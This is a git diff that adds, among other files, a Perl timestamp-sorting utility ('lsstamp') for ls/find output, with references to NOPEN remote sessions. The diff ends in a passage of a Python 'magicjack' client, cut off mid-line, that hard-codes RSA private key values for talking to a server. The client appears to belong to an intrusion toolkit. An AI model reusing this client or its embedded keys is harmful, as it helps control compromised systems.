open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print ; + } + close(IN) ; + unlink("/tmp/.lss$$") ; + if ($cuttwo and $nopen_rhostname and !fork) { + # If we're building one more file, first fork and close + # to give someone back their prompt or whatever. + close(STDOUT); + close(STDERR); + close(OUT2); + open(OUT2,"> $out2file") or die "cannot open > $out2file: $!" ; + open(IN,"sort $r -k 1,12 < $out2tmpfile |") || die "can't open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print OUT2; + } + close(IN) ; + unlink("$out2tmpfile"); + exit ; + } +} +if ($dosize) { + my $index=1; + # @size = (bytes,K,M); + my @size=($sizesum.".",$sizesum); + $size[1] /= 1024; + $size[2]=$size[1]/1024; + $size[1] = sprintf "%.02f",$size[1]; + $size[2] = sprintf "%.02f",$size[2]; + for ($i = 0 ; $i < @size ; $i++) { + while ($size[$i] =~ /^\d\d\d\d/) { + $size[$i] =~ s/(\d)(\d\d\d)([\.,])/$1,$2$3/; + } + } + chop($size[0]); # Take off that "." we put there so while loop would work + printf "\n\nCumulative size (files only): $size[0] bytes $size[1] K $size[2] M\n\n"; +} +# END LOGIC +sub numpadto() { + local($num,$len,@junk) = @_; + while ($len > length($num)){ + $num = "0".$num; + } + return $num; +}#numpadto +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage +sub myinit { + use File::Basename; + require Time::Local; + require "getopts.pl"; + #version: + $prog = basename ${0}; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opbin = "$opdir/bin" ; + $opdown = "$opdir/down" ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $usagetext = " +Usage: $prog [-hosdz] [-c n | -C n] filename + $prog [-hosdz] [-c n | -C n] < stdin + +By default, $prog now outputs its results sorted by date, newest last. +The \"-s\" option is no longer needed to do this (it is now ignored). + + -h show this usage statement and exit + + -r reverse sort order, putting newest dates first + + -S DO NOT sort output on the date found, newest dates last (which is + the default mode). This prints a \"YYYYMMDDHHMM:\" timestamp on + every line, using all zeros when none found. + + -s (deprecated but ignored option--this is now the default mode) + + -o omits lines where no date is found + + -d do not print directory entries matching this regular expression: + /d([rsS-][wsS-][xsStTlL-]){3} / + + -z print summary of total of all file size (like du). Best done with: + grep \"dir/you/want\" findfile | lsstamp -z + + -c n uses the nth \" | \" delimited date found on the line, giving no + output if dates are not \" | \" delimited (like nopen's -ls does). + The other two dates are removed from the output. + + -C n uses the nth date found on the line (default is 1st), giving a date + of \"000000000000:\" if n-1 or less dates are on the line. Dates do + not have to be \" | \" delimited, and line is not modified except for + \"YYYYMMDDHHMM:\" timestamp. + + -S $prog takes input and preceeds each line with a timestamp in the + form of \"YYYYMMDDHHMM:\", suitable for sorting or grepping. If no + date is found in a line (and -o parameter not used), it is instead + preceeded with \"000000000000:\" to preserve column width. Lines with + a year instead of HH:MM are set arbitrarily to 00:01. Lines with a + timestamp followed immediately by a year will use both the year and + time (e.g. nopen -ls command). + + If filename on command line exists, it's modification time is used + as a base date for calculating years of files shown with an HH:MM + timestamp. If input is from STDIN, current time is used. Note that + files modified within six months of when the output was created + show a timestamp of 'month date time' (see 'man ls') instead of + 'month date year'. + +$prog version $VER +"; + usage("bad option(s)") if (! &Getopts( "dc:C:ovhszrS" ) ); + #&Getopts( "c:C:ovhsz" ) ; + &usage("-c and -C cannot be used together") if ($opt_C && $opt_c); + $cuttwo = $opt_c; + $nodirs = $opt_d; + $opt_c = 1 if ($opt_c && $opt_c <= 0) ; + $opt_c = int($opt_c); + $opt_C = 1 if ($opt_C && $opt_C <= 0) ; + &usage if ($opt_h); + if ($opt_v) { + print "$prog version $VER\n"; + exit; + } + $header = "" ; + # base digits in time column on current gmtime + ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime ; + $now = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst); + $timelen = length($now); + + if (($file=$ARGV[0]) && -f $file) { + ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) = lstat($file); + $basetime = &numpadto($mtime,$timelen); + chomp($header = `head $file | grep mtime.*atime.*ctime`) ; + } else { # use current time + $file = "" ; + $basetime = $now; + } + $basetimestr =gmtime($basetime); + ($tsec,$tmin,$thr,$tmday,$basemonnum,$baseyear) = gmtime($basetime); + $basemonnum++; # now 1=Jan based + $baseyear += 1900; + # now $sort is default mode--ignore $opt_s for backwards compatibility + $sort = ($opt_r or !$opt_S); + $reverse = $opt_r ; + $omit = $opt_o; + $dosize = $opt_z; + $out2 = 0 ; + $out2file = "" ; + $out2tmpfile = "" ; + if ($cuttwo and $nopen_rhostname) { + my $which = substr("mac",-1 + $opt_c,1); + $out2file = basename $file ; + $opdir = "." unless (-d $opdown); + $out2file =~ s/-find$// ; + $out2file = "/tmp/find" unless $out2file ; + $out2file .= ".find.sorted.time.all$which" ; + $out2tmpfile = "/tmp/$out2file" ; + $out2file = "$opdir/$out2file" if $out2file; + open(OUT2,"> $out2tmpfile") or die "cannot open > $out2tmpfile: $!" ; + print OUT2 "000000000000: $header\n000000000000:\n" if $header ; + $out2 = 1 ; + } + if ($sort) { + open(OUT,"> /tmp/.lss$$") || die "can't open temporary file /tmp/.lss$$ to write: $!"; + select(OUT) ; + } else { + select(STDOUT) ; + } + @mons = ( Jan, # 0=Jan + Feb, + Mar, + Apr, + May, + Jun, + Jul, + Aug, + Sep, + Oct, + Nov, + Dec, + ); + + %nummon = ( Jan, "00", + Feb, "01", + Mar, "02", + Apr, "03", + May, "04", + Jun, "05", + Jul, "06", + Aug, "07", + Sep, "08", + Oct, "09", + Nov, "10", + Dec, "11", + ); + $debug = 1; +} +#sub dbg { +# print STDERR "DBG: @_\n"; +# `echo "DBG: @_" >> /tmp/dammit` ; +#} diff --git a/Linux/bin/lsstamp b/Linux/bin/lsstamp new file mode 100755 index 0000000..36cdd74 --- /dev/null +++ b/Linux/bin/lsstamp @@ -0,0 +1,393 @@ +#!/usr/bin/env perl +$VER="1.15.2.6"; +# =============== +# 05 SEP 2013 +# Year was wrong with this format: Sep 04 14:18 2013 +# =============== +# 28 FEB 2011 +# fixed bug: Missed years embedded in a line like this: Fri Feb 18 12:12:43 EST 2011: anchorpig. +# =============== +# 08 FEB 2008 +# fixed bug: last bugfix introduced a new one. It found the bad YYYY at the end of the line first, +# ignoring the one IMMEDIATELY after the time. Duh. +# =============== +# 14 JAN 2008 +# fixed bug: bogus year in line like this: +# 985401141611:738096 692 -rw-r--r-- 1 root root 700212 Jan 14 16:11 /current/down/script.19854 +# =============== +# 09 NOV 2007 +# fixed bug: lost the year in input like this: Fri Nov 9 13:58:24 EST 2007 +# (because of the EST). Now the year may be the first or second word after the timestamp. +# =============== +# 10 JUN 2003 +# added -r option - like -s but newest first +# -s is now default and ignored. -S shuts off sorting. +# =============== +# 08 OCT 2002 +# added -d option - directory entries not printed +# =============== +# 20 JULY 2002 +# fixed bug - /tmp/.lss$$ files not being wiped with unlink... +# =============== +# 23 May 2002 +# added -v and invalid option now terminates. +# usage now prints error before and after usagetext +# =============== +# 28 feb 2002 +# added -z option +# =============== +# 07 jan 2002 +# +# now also allows for both time and year on same line, in that order, +# a la nopen's -ls: +# +# eliminated bug where "Out" was a valid month--now must be in %nummon +# +# +# Following from `man ls`: +# If the file is a special file, the size +# field instead contains the major and minor device +# numbers. If the time of last modification is +# greater than six months ago, it is shown in the +# format `month date year' for the POSIX locale. +# When the LC_TIME locale category is not set to the +# POSIX locale, a different format of the time field +# may be used. Files modified within six months show +# `month date time'. +# =============== +# Aug 24 1999 >> time arbitrarily set to 0800 +# +# look for timestamp in STDIN lines like any of: +# Mar 28 00:31 >> assume year = +# 1:year of file's mod time or year-1 if a filename is +# given as argument and date found in line is within +# six months before that time +# 2:current year if no filename on command line (STDIN) +# + +myinit(); + +#print STDERR "Using base time of $basetimestr for files not showing any year.\n\n"; +#sleep 1; + +$opt_C = 1 if ( $opt_c + $opt_C == 0 ); +$sizesum = 0; +while (<>) { + # i.e. STDIN if redirected, file name on command line otherwise +#dbg("LINE=$_="); + $count = $opt_c + $opt_C; + $rest = $_; + $origline = $_ ; + while ($count-- > 0) { + $matched = ($strmon,$day,$yearortime,$rest) = $rest =~ + /([ADFJMNOS][aceopu][bcglnprtvy])\s*([0-9]+)\s+([0-9:]*)\s+(.*)/ ; + $yearortime =~ s,:+$,,; +# dbg(" +#matched $matched = ($strmon, + #$day, + #YYEARORTIME=$yearortime=, + #REST=$rest=) +#"); +#sleep 2; + } + # checks for Jan|Feb|Mar|Apr|etc... + # next line omits things like "Out" + if ($matched == 4 && $nummon{$strmon}) { + $nummon = $nummon{$strmon} + 1; + $nummon = &numpadto($nummon,2); + $day = &numpadto($day,2); + if ($yearortime =~ /(\d{4})($|:)/) { + $year = $1; + $time = "00:01"; + } elsif (! ($yearortime =~ /\d{4}/) and $rest =~ /^\s*(\d{4})($|\D)/) { + $year = $1; + $time = $yearortime; + } else { + undef $year; + #dbg("post undef y=$y= year=$year yearortime=$yearortime"); + $time = $yearortime; + my $y = ""; + $y = $1 if ($rest =~ /\D(\d{4})(\D|$)/i); +#dbg("y2=$y="); + unless ($y) { + $y = $1 if ($rest =~ /^(\d{4})(\D|$)/i); + } + #dbg("post undef y=$y= year=$year yearortime=$yearortime"); + +#dbg("y0=$y="); + unless ($y) { + $y = $1 if ($rest =~ /\D(\d{4})(\D|$)/i); +#dbg("y1=$y="); + } + my $ind = index($rest,$y); + #dbg("year starts as $year--maybe year=$1? ind=$ind or maybe y=$y=?"); +#dbg("matched $matched tokens ($strmon,$day,$yearortime,$rest) and $nummon{$strmon} gives us month number $nummon"); + # If this match is not too far from the time and + # not unreasonable (fine, so we're not Y3K complient....sue me + #dbg("index(\$rest,$1) is ".scalar index($rest,$1)); + if ($ind >= 0 and $ind < 10 and $y < 3000) { + $year = $y; +#dbg("year is now $year"); + } +#dbg("$strmon=$nummon $day $time $year"); + if (! $year) { + # need to compute $year here... + if ($nummon <= $basemonnum) { + $year = $baseyear; + } else { + $year = $baseyear - 1; + } + } + } + ($hr,$min) = $time =~ /(\d\d):(\d\d)/; + $hr = &numpadto($hr,2); + $min = &numpadto($min,2); + #$sec = "00"; + $nopenls = / \| [^|]* \| [^|]* \| [^|]* \|/ ; + if ( $opt_c ) { + $opt_c == 1 && s/ \| ([^|]*) \| [^|]* \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 2 && s/ \| [^|]* \| ([^|]*) \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 3 && s/ \| [^|]* \| [^|]* \| ([^|]*) \|[^\/]*/ \1 / ; + my $what = $1 ; + s/$1$1/$1/ ; # some have dupes if from cmdout files + if ($nopenls) { + $origline =~ + s/ \| ([^|]*) \| ([^|]*) \| ([^|]*) \|/ \|m $1 \|a $2 \|c $3 \|/ ; + print OUT2 "$year$nummon$day$hr$min:$origline" if ($out2); + } + } + unless ($nodirs and /d([rsS-][wsS-][xsStTlL-]){3} /) { + print "$year$nummon$day$hr$min:$_" unless ($opt_c == 1 and ! $nopenls); + } + if ($dosize) { + s/ \| / /g; + $matched = ($type,$size) = + /^(.).*\s+(\d*)\s+[ADFJMNOS][aceopu][bcglnprtvy]\s+\d+\s+/ ; + # Here we count only type "-", so no dirs, no links, special files, etc. + $sizesum += $size if ($matched and $type eq "-"); + } + } + # This block understands tar -tvf format, e.g.: + # -rwxr-x--- root/root 28232 2005-12-16 16:57:01 ./path/to/file + elsif ($matched = ($year,$nummon,$day,$hr,$min,$sec) = + /\s(\d{4})\-(\d{2})\-(\d{2})\s+(\d{2}):(\d{2})(:(\d{2})){0,1}\s/) { + print "$year$nummon$day$hr$min:$_" unless ($opt_c == 1 and ! $nopenls); + } else { + print "000000000000:$_" if (! $omit); + } +}#while(<>) + +if ( $sort ) { + select(STDOUT) ; + close(OUT) ; + my $r = "-r" if $reverse ; + open(IN,"sort $r -k 1,12 < /tmp/.lss$$ |") || die "can't open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print ; + } + close(IN) ; + unlink("/tmp/.lss$$") ; + if ($cuttwo and $nopen_rhostname and !fork) { + # If we're building one more file, first fork and close + # to give someone back their prompt or whatever. + close(STDOUT); + close(STDERR); + close(OUT2); + open(OUT2,"> $out2file") or die "cannot open > $out2file: $!" ; + open(IN,"sort $r -k 1,12 < $out2tmpfile |") || die "can't open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print OUT2; + } + close(IN) ; + unlink("$out2tmpfile"); + exit ; + } +} +if ($dosize) { + my $index=1; + # @size = (bytes,K,M); + my @size=($sizesum.".",$sizesum); + $size[1] /= 1024; + $size[2]=$size[1]/1024; + $size[1] = sprintf "%.02f",$size[1]; + $size[2] = sprintf "%.02f",$size[2]; + for ($i = 0 ; $i < @size ; $i++) { + while ($size[$i] =~ /^\d\d\d\d/) { + $size[$i] =~ s/(\d)(\d\d\d)([\.,])/$1,$2$3/; + } + } + chop($size[0]); # Take off that "." we put there so while loop would work + printf "\n\nCumulative size (files only): $size[0] bytes $size[1] K $size[2] M\n\n"; +} +# END LOGIC +sub numpadto() { + local($num,$len,@junk) = @_; + while ($len > length($num)){ + $num = "0".$num; + } + return $num; +}#numpadto +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage +sub myinit { + use File::Basename; + require Time::Local; + require "getopts.pl"; + #version: + $prog = basename ${0}; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opbin = "$opdir/bin" ; + $opdown = "$opdir/down" ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $usagetext = " +Usage: $prog [-hosdz] [-c n | -C n] filename + $prog [-hosdz] [-c n | -C n] < stdin + +By default, $prog now outputs its results sorted by date, newest last. +The \"-s\" option is no longer needed to do this (it is now ignored). + + -h show this usage statement and exit + + -r reverse sort order, putting newest dates first + + -S DO NOT sort output on the date found, newest dates last (which is + the default mode). This prints a \"YYYYMMDDHHMM:\" timestamp on + every line, using all zeros when none found. + + -s (deprecated but ignored option--this is now the default mode) + + -o omits lines where no date is found + + -d do not print directory entries matching this regular expression: + /d([rsS-][wsS-][xsStTlL-]){3} / + + -z print summary of total of all file size (like du). Best done with: + grep \"dir/you/want\" findfile | lsstamp -z + + -c n uses the nth \" | \" delimited date found on the line, giving no + output if dates are not \" | \" delimited (like nopen's -ls does). + The other two dates are removed from the output. + + -C n uses the nth date found on the line (default is 1st), giving a date + of \"000000000000:\" if n-1 or less dates are on the line. Dates do + not have to be \" | \" delimited, and line is not modified except for + \"YYYYMMDDHHMM:\" timestamp. + + -S $prog takes input and preceeds each line with a timestamp in the + form of \"YYYYMMDDHHMM:\", suitable for sorting or grepping. If no + date is found in a line (and -o parameter not used), it is instead + preceeded with \"000000000000:\" to preserve column width. Lines with + a year instead of HH:MM are set arbitrarily to 00:01. Lines with a + timestamp followed immediately by a year will use both the year and + time (e.g. nopen -ls command). + + If filename on command line exists, it's modification time is used + as a base date for calculating years of files shown with an HH:MM + timestamp. If input is from STDIN, current time is used. Note that + files modified within six months of when the output was created + show a timestamp of 'month date time' (see 'man ls') instead of + 'month date year'. + +$prog version $VER +"; + usage("bad option(s)") if (! &Getopts( "dc:C:ovhszrS" ) ); + #&Getopts( "c:C:ovhsz" ) ; + &usage("-c and -C cannot be used together") if ($opt_C && $opt_c); + $cuttwo = $opt_c; + $nodirs = $opt_d; + $opt_c = 1 if ($opt_c && $opt_c <= 0) ; + $opt_c = int($opt_c); + $opt_C = 1 if ($opt_C && $opt_C <= 0) ; + &usage if ($opt_h); + if ($opt_v) { + print "$prog version $VER\n"; + exit; + } + $header = "" ; + # base digits in time column on current gmtime + ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime ; + $now = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst); + $timelen = length($now); + + if (($file=$ARGV[0]) && -f $file) { + ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) = lstat($file); + $basetime = &numpadto($mtime,$timelen); + chomp($header = `head $file | grep mtime.*atime.*ctime`) ; + } else { # use current time + $file = "" ; + $basetime = $now; + } + $basetimestr =gmtime($basetime); + ($tsec,$tmin,$thr,$tmday,$basemonnum,$baseyear) = gmtime($basetime); + $basemonnum++; # now 1=Jan based + $baseyear += 1900; + # now $sort is default mode--ignore $opt_s for backwards compatibility + $sort = ($opt_r or !$opt_S); + $reverse = $opt_r ; + $omit = $opt_o; + $dosize = $opt_z; + $out2 = 0 ; + $out2file = "" ; + $out2tmpfile = "" ; + if ($cuttwo and $nopen_rhostname) { + my $which = substr("mac",-1 + $opt_c,1); + $out2file = basename $file ; + $opdir = "." unless (-d $opdown); + $out2file =~ s/-find$// ; + $out2file = "/tmp/find" unless $out2file ; + $out2file .= ".find.sorted.time.all$which" ; + $out2tmpfile = "/tmp/$out2file" ; + $out2file = "$opdir/$out2file" if $out2file; + open(OUT2,"> $out2tmpfile") or die "cannot open > $out2tmpfile: $!" ; + print OUT2 "000000000000: $header\n000000000000:\n" if $header ; + $out2 = 1 ; + } + if ($sort) { + open(OUT,"> /tmp/.lss$$") || die "can't open temporary file /tmp/.lss$$ to write: $!"; + select(OUT) ; + } else { + select(STDOUT) ; + } + @mons = ( Jan, # 0=Jan + Feb, + Mar, + Apr, + May, + Jun, + Jul, + Aug, + Sep, + Oct, + Nov, + Dec, + ); + + %nummon = ( Jan, "00", + Feb, "01", + Mar, "02", + Apr, "03", + May, "04", + Jun, "05", + Jul, "06", + Aug, "07", + Sep, "08", + Oct, "09", + Nov, "10", + Dec, "11", + ); + $debug = 1; +} +#sub dbg { +# print STDERR "DBG: @_\n"; +# `echo "DBG: @_" >> /tmp/dammit` ; +#} diff --git a/Linux/bin/lsstamp.bak b/Linux/bin/lsstamp.bak new file mode 100755 index 0000000..f29d870 --- /dev/null +++ b/Linux/bin/lsstamp.bak @@ -0,0 +1,318 @@ +#!/usr/bin/env perl +$VER="1.15"; +# =============== +# 10 JUN 2003 +# added -r option - like -s but newest first +# -s is now default and ignored. -S shuts off sorting. +# =============== +# 08 OCT 2002 +# added -d option - directory entries not printed +# =============== +# 20 JULY 2002 +# fixed bug - /tmp/.lss$$ files not being wiped with unlink... +# =============== +# 23 May 2002 +# added -v and invalid option now terminates. +# usage now prints error before and after usagetext +# =============== +# 28 feb 2002 +# added -z option +# =============== +# 07 jan 2002 +# +# now also allows for both time and year on same line, in that order, +# a la nopen's -ls: +# +# eliminated bug where "Out" was a valid month--now must be in %nummon +# +# +# Following from `man ls`: +# If the file is a special file, the size +# field instead contains the major and minor device +# numbers. If the time of last modification is +# greater than six months ago, it is shown in the +# format `month date year' for the POSIX locale. +# When the LC_TIME locale category is not set to the +# POSIX locale, a different format of the time field +# may be used. Files modified within six months show +# `month date time'. +# =============== +# Aug 24 1999 >> time arbitrarily set to 0800 +# +# look for timestamp in STDIN lines like any of: +# Mar 28 00:31 >> assume year = +# 1:year of file's mod time or year-1 if a filename is +# given as argument and date found in line is within +# six months before that time +# 2:current year if no filename on command line (STDIN) +# + +myinit(); + +#print STDERR "Using base time of $basetimestr for files not showing any year.\n\n"; +#sleep 1; + +$opt_C = 1 if ( $opt_c + $opt_C == 0 ); +$sizesum = 0; +while (<>) { + # i.e. STDIN if redirected, file name on command line otherwise + $count = $opt_c + $opt_C; + $rest = $_; + $origline = $_ ; + while ($count-- > 0) { + $matched = ($strmon,$day,$yearortime,$rest) = $rest =~ + /([ADFJMNOS][aceopu][bcglnprtvy])\s+([0-9]*)\s+([0-9:]*)\s+(.*)/ ; + + } + # checks for Jan|Feb|Mar|Apr|etc... + # next line omits things like "Out" + if ($matched == 4 && $nummon{$strmon}) { + $nummon = $nummon{$strmon} + 1; + $nummon = &numpadto($nummon,2); + $day = &numpadto($day,2); + if ($yearortime =~ /[0-9]{4}/) { + $year = $yearortime; + $time = "00:01"; + } else { + $time = $yearortime; + ($year) = $rest =~ /^([0-9]{4})/; + if (! $year) { + # need to compute $year here... + if ($nummon <= $basemonnum) { + $year = $baseyear; + } else { + $year = $baseyear - 1; + } + } + } + ($hr,$min) = $time =~ /(\d\d):(\d\d)/; + $hr = &numpadto($hr,2); + $min = &numpadto($min,2); + #$sec = "00"; + $nopenls = / \| [^|]* \| [^|]* \| [^|]* \|/ ; + if ( $opt_c ) { + $opt_c == 1 && s/ \| ([^|]*) \| [^|]* \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 2 && s/ \| [^|]* \| ([^|]*) \| [^|]* \|[^\/]*/ \1 / ; + $opt_c == 3 && s/ \| [^|]* \| [^|]* \| ([^|]*) \|[^\/]*/ \1 / ; + my $what = $1 ; + s/$1$1/$1/ ; # some have dupes if from cmdout files + if ($nopenls) { + $origline =~ + s/ \| ([^|]*) \| ([^|]*) \| ([^|]*) \|/ \|m $1 \|a $2 \|c $3 \|/ ; + print OUT2 "$year$nummon$day$hr$min:$origline" if ($out2); + } + } + unless ($nodirs and /d([rsS-][wsS-][xsStTlL-]){3} /) { + print "$year$nummon$day$hr$min:$_" unless ($opt_c == 1 and ! $nopenls); + } + if ($dosize) { + s/ \| / /g; + $matched = ($size) = /(\d*)\s+[ADFJMNOS][aceopu][bcglnprtvy]\s+[0-9]+\s+/ ; + $sizesum += $size if ($matched);; + } + } else { + print "000000000000:$_" if (! $omit); + } +}#while(<>) + +if ( $sort ) { + select(STDOUT) ; + close(OUT) ; + my $r = "-r" if $reverse ; + open(IN,"sort $r -k 1,12 < /tmp/.lss$$ |") || die "can't open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print ; + } + close(IN) ; + unlink("/tmp/.lss$$") ; + if ($cuttwo and $nopen_rhostname and !fork) { + # If we're building one more file, first fork and close + # to give someone back their prompt or whatever. + close(STDOUT); + close(STDERR); + close(OUT2); + open(OUT2,"> $out2file") or die "cannot open > $out2file: $!" ; + open(IN,"sort $r -k 1,12 < $out2tmpfile |") || die "can't open pipe: $!" ; + while ( ) { + $_ = substr($_,13) ; + print OUT2; + } + close(IN) ; + unlink("$out2tmpfile"); + exit ; + } +} +if ($dosize) { + print "\n\nCumulative size: $sizesum\n\n"; +} +# END LOGIC +sub numpadto() { + local($num,$len,@junk) = @_; + while ($len > length($num)){ + $num = "0".$num; + } + return $num; +}#numpadto +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage +sub myinit { + use File::Basename; + require Time::Local; + require "getopts.pl"; + #version: + $prog = basename ${0}; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opbin = "$opdir/bin" ; + $opdown = "$opdir/down" ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $usagetext = " +Usage: $prog [-hosdz] [-c n | -C n] filename + $prog [-hosdz] [-c n | -C n] < stdin + +By default, $prog now outputs its results sorted by date, newest last. +The \"-s\" option is no longer needed to do this (it is now ignored). + + -h show this usage statement and exit + + -r reverse sort order, putting newest dates first + + -S DO NOT sort output on the date found, newest dates last (which is + the default mode). This prints a \"YYYYMMDDHHMM:\" timestamp on + every line, using all zeros when none found. + + -s (deprecated but ignored option--this is now the default mode) + + -o omits lines where no date is found + + -d do not print directory entries matching this regular expression: + /d([rsS-][wsS-][xsStTlL-]){3} / + + -z print summary of total of all file size (like du). Best done with: + grep \"dir/you/want\" findfile | lsstamp -z + + -c n uses the nth \" | \" delimited date found on the line, giving no + output if dates are not \" | \" delimited (like nopen's -ls does). + The other two dates are removed from the output. + + -C n uses the nth date found on the line (default is 1st), giving a date + of \"000000000000:\" if n-1 or less dates are on the line. Dates do + not have to be \" | \" delimited, and line is not modified except for + \"YYYYMMDDHHMM:\" timestamp. + + -S $prog takes input and preceeds each line with a timestamp in the + form of \"YYYYMMDDHHMM:\", suitable for sorting or grepping. If no + date is found in a line (and -o parameter not used), it is instead + preceeded with \"000000000000:\" to preserve column width. Lines with + a year instead of HH:MM are set arbitrarily to 00:01. Lines with a + timestamp followed immediately by a year will use both the year and + time (e.g. nopen -ls command). + + If filename on command line exists, it's modification time is used + as a base date for calculating years of files shown with an HH:MM + timestamp. If input is from STDIN, current time is used. Note that + files modified within six months of when the output was created + show a timestamp of 'month date time' (see 'man ls') instead of + 'month date year'. + +$prog version $VER +"; + usage("bad option(s)") if (! &Getopts( "dc:C:ovhszrS" ) ); + #&Getopts( "c:C:ovhsz" ) ; + &usage("-c and -C cannot be used together") if ($opt_C && $opt_c); + $cuttwo = $opt_c; + $nodirs = $opt_d; + $opt_c = 1 if ($opt_c && $opt_c <= 0) ; + $opt_c = int($opt_c); + $opt_C = 1 if ($opt_C && $opt_C <= 0) ; + &usage if ($opt_h); + if ($opt_v) { + print "$prog version $VER\n"; + exit; + } + $header = "" ; + # base digits in time column on current gmtime + ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime ; + $now = Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst); + $timelen = length($now); + + if (($file=$ARGV[0]) && -f $file) { + ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) = lstat($file); + $basetime = &numpadto($mtime,$timelen); + chomp($header = `head $file | grep mtime.*atime.*ctime`) ; + } else { # use current time + $file = "" ; + $basetime = $now; + } + $basetimestr =gmtime($basetime); + ($tsec,$tmin,$thr,$tmday,$basemonnum,$baseyear) = gmtime($basetime); + $basemonnum++; # now 1=Jan based + $baseyear += 1900; + # now $sort is default mode--ignore $opt_s for backwards compatibility + $sort = ($opt_r or !$opt_S); + $reverse = $opt_r ; + $omit = $opt_o; + $dosize = $opt_z; + $out2 = 0 ; + $out2file = "" ; + $out2tmpfile = "" ; + if ($cuttwo and $nopen_rhostname) { + my $which = substr("mac",-1 + $opt_c,1); + $out2file = basename $file ; + $opdir = "." unless (-d $opdown); + $out2file =~ s/-find$// ; + $out2file = "/tmp/find" unless $out2file ; + $out2file .= ".find.sorted.time.all$which" ; + $out2tmpfile = "/tmp/$out2file" ; + $out2file = "$opdir/$out2file" if $out2file; + open(OUT2,"> $out2tmpfile") or die "cannot open > $out2tmpfile: $!" ; + print OUT2 "000000000000: $header\n000000000000:\n" if $header ; + $out2 = 1 ; + } + if ($sort) { + open(OUT,"> /tmp/.lss$$") || die "can't open temporary file /tmp/.lss$$ to write: $!"; + select(OUT) ; + } else { + select(STDOUT) ; + } + @mons = ( Jan, # 0=Jan + Feb, + Mar, + Apr, + May, + Jun, + Jul, + Aug, + Sep, + Oct, + Nov, + Dec, + ); + + %nummon = ( Jan, "00", + Feb, "01", + Mar, "02", + Apr, "03", + May, "04", + Jun, "05", + Jul, "06", + Aug, "07", + Sep, "08", + Oct, "09", + Nov, "10", + Dec, "11", + ); + $debug = 1; +} +#sub dbg { +# print STDERR "DBG: @_\n"; +# `echo "DBG: @_" >> /tmp/dammit` ; +#} diff --git a/Linux/bin/ltun b/Linux/bin/ltun new file mode 100755 index 0000000..50803ab Binary files /dev/null and b/Linux/bin/ltun differ diff --git a/Linux/bin/magicjack/magicjack_v1.0.0.1_client.py b/Linux/bin/magicjack/magicjack_v1.0.0.1_client.py new file mode 100755 index 0000000..f9a9126 --- /dev/null +++ b/Linux/bin/magicjack/magicjack_v1.0.0.1_client.py @@ -0,0 +1,567 @@ +#!/usr/bin/env python +import os,sys,socket,binascii,random,re +from struct import pack,unpack +from optparse import OptionParser +from math import log + +class magicclient: + def __init__(self): + self.version = "1.0.0.0" + #These are used for decrypting data from server + self.client_N = long('f8f5f6d9b3d52b11328f0c449ab841412de18f69f879d83b0505427fda22096c9849405d0918703835ec59021d6cc52cfa4009e152d1cdc6b74a2a1770b7bcb294354ed3cc93281634655e7acbab2d8de042325a64018743a0a8fb51e362a76ecea16f658769763657b2bbfd3f6ba1d428bfc599dc959ad8758d8d747268ba69', 16) + self.client_d = long('362ca7c3a5cb4c2cd8d8a1edc7d13279f176f4d3357ba61ee9afc451b7f0d2262c593c4542766becff66e7d37afdb146614a501c14fe8c8da252e427e7a243d0166b00f8f3ff9ebd01e9173f3b8bdabcdfe39ef93b4c2d990433fa6217b939e30e03e2b9b96f90f5ba28571f3ddf7d20243ac7a1407f2dc627c5ae8d10426d81', 16) + self.client_e = '10001' + self.sz_chk = "x8jV" + + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + #Used for 3des enc/dec + self.key = "" + self.AUTO = False + self.options = None + + self.errorCodes = { + "0": "Command Ran Successfully", + "1": "Error running command", + "2": "Directory already exists" + } + + #RSA Function + def string2long(self,s): + m = 0 + x = len(s) - 1 + #loop backwards through the string, for each character add its ASCII value + #multiplied by its position in hte string to the return value + for char in s: + m += (256**x)*ord(char) + x -= 1 + return m + + #RSA Function + def long2string(self,m): + try: + m = atol(m) + except: + pass + + letters = [] + cleartext = "" + + i = int(log(m, 256)) + while (i >= 0): + c = m / (256**i) + letters.append(chr(c)) + m -= c*(256**i) + i -=1 + + for l in letters: + cleartext += l + return cleartext + + def RSAencrypt(self, m): + message = self.string2long(m) + + if (message > self.server_N): + print "Message string is too long.\n" + return None + + message = pow(message, 